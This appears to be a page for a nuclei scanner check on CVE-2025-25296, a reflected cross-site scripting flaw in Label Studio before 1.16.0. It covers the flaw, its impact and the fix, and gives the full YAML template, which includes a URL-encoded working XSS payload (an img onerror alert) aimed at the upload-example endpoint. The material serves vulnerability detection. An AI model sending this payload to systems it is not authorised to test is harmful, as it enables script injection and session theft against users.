Label Studio < 1.16.0 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

Label Studio prior to version 1.16.0 contains a cross-site scripting caused by rendering unsanitized user-provided HTML in the /projects/upload-example endpoint, letting attackers execute arbitrary JavaScript via crafted label_config in a GET request, exploit requires victims to visit malicious URL.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers, potentially leading to data theft, session hijacking, or other malicious actions.

Fix

Update to version 1.16.0 or later to patch the vulnerability.

How to confirm it

Send: GET /version
Positive when: status_code == 200 and contains(body, "label-studio") and compare_versions(lsversion, "< 1.16.0")
Send: GET /projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.dom…
Positive when: contains "<img src=x onerror=alert(document.domain)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2025-25296 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-25296

info:
  name: Label Studio < 1.16.0 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Label Studio prior to version 1.16.0 contains a cross-site scripting caused by rendering unsanitized user-provided HTML in the /projects/upload-example endpoint, letting attackers execute arbitrary JavaScript via crafted label_config in a GET request, exploit requires victims to visit malicious URL.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially leading to data theft, session hijacking, or other malicious actions.
  remediation: |
    Update to version 1.16.0 or later to patch the vulnerability.
  reference:
    - https://github.com/HumanSignal/label-studio/security/advisories/GHSA-wpq5-3366-mqw4
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25296
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-25296
    epss-score: 0.01898
    epss-percentile: 0.79825
    cwe-id: CWE-79
  metadata:
    verified: false
    max-request: 2
    vendor: humansignal
    product: label-studio
    shodan-query: title:"Label Studio"
    fofa-query: title="Label Studio"
  tags: cve,cve2025,label-studio,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "label-studio")'
          - 'compare_versions(lsversion, "< 1.16.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lsversion
        part: body
        regex:
          - '"release":\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?)'
        group: 1
        internal: true

  - raw:
      - |
        GET /projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E%3C%2Fdiv%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22%2F%3E%3C%2FView%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from